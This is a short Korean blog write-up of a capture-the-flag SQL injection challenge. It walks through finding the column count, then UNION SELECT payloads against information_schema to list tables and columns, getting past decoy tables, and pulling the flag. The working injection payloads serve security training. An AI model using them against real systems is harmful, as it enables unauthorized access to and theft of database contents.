[CTF] SQL Injection 2

CHIKA·2024년 5월 27일

CTF

목록 보기
3/6



입력값이 그대로 아이디 칸에 뜬다.
저장된 아이디를 보여주는게 아니고 입력한 값이 뜨도록 짜여진 것같다.

1-1. 컬럼 수 확인

order by 7 부터는 결과값이 안뜬다. 컬럼수는 6개.

1-2. DB명 확인

union을 이용한다. 컬럼 수는 6개인데 눈에 보이는 컬럼 수는 4개.
하지만 level 과 rank point 는 '*'처리 되어있으니 몇번째 컬럼이 info인지 확인해야한다. info 에 6이뜨니 6번째 컬럼이 info이다.

DB명은 sqli_5

1-3. 테이블명 확인

' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' #

값이뜨는 컬럼인 info가 6번째 컬럼이므로 table_name 또한 6번째 컬럼에 넣어주었다.
테이블명은 flag_honey
딱봐도 함정이지만 일단 들어가보자.

1-4. 컬럼명 확인

' union select 1,2,3,4,5,column_name from information_schema.columns where table_name='flag_honey' #

컬럼명은 flag

1-5. 데이터 확인

' union select 1,2,3,4,5,flag from flag_honey #

여기가 아니다.
테이블부터 다시 살펴보자.


2-1 테이블 확인

' union select 1,2,3,4,5,table_name from information_schema.tables #

1-3 과 다르게 조건을 빼주었다.

이렇게 하다간 엄청나게 많은 테이블들을 마주하게 될 것이다...
이 방법은 아닌 것 같다.

sqli_5 안에 다른 테이블이 더 있는지 확인해보자.

' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' order by 4#

order by 2랑 3도 해봤는데 다른 테이블이 안나와서 4까지 했다.
secret 발견!

2-2 컬럼명 확인
1-4와 같은 방법으로 컬럼명을 확인해보자.

' union select 1,2,3,4,5,column_name from information_schema.columns where table_name='secret' #


컬럼명 flag

2-3 데이터 확인

' union select 1,2,3,4,5,flag from secret #

이것도 아니다...

테이블 찾기로 돌아가서 game_user 테이블을 발견했지만 의미있는 데이터가 나오지 않아 다시 secret 테이블로 왔다.
컬럼 내에 내가 못찾은 데이터가 있지 않을까?

NONONO가 아닌 다른 데이터를 찾아보자

' union select 1,2,3,4,5,flag from secret where flag != 'NONONO~~~~'#

플래그 발견!

0개의 댓글